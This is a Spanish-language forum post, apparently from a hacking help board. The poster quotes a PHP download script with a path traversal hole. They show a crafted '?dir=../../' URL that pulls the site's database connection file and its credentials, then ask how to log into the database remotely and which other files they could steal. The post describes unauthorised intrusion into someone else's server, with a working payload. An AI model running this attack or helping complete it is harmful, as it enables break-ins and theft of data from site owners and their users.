Hola, estoy intentando acceder a una BD SQL. Espero que podáis ayudarme.
POR PASOS:
Entro a la web y encuentro el archivo "descargas.php" con el siguiente codigo:
<?
$ruta=$HTTP_GET_VARS['dir'];
$enlace = "../directorio/".$ruta;
header ("Content-Disposition: attachment; filename=".$ruta."\n\n");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
?>
Con lo cual haciendo:
http://www.servidor.com/descargas.php?dir=../../conectarsql.php
Consigo bajar el código del archivo conectarsql.php:
<?
$dbh=mysql_connect ("localhost", "usuario", "contraseña") or die ('Imposible conectar porque: ' . mysql_error());
mysql_select_db ("basededatos",$dbh);
?>
Ahora ya tengo la base de datos, el usuario y la contraseña.
Hago un ping a www.servidor.com y ya tengo la IP del servidor también.
Y ahora que tengo todo viene la gran pregunta:
¿Cómo me conecto remotamente a esa B.D.?
¿Es posible el acceso remoto a la base de datos SQL?
¿$enlace = "../directorio/".$ruta; todavía me vale para robar algun archivo más que no sea el passwd ni los logs porque no tengo permiso para ello?
Espero que podáis echarme una mano con esto. Gracias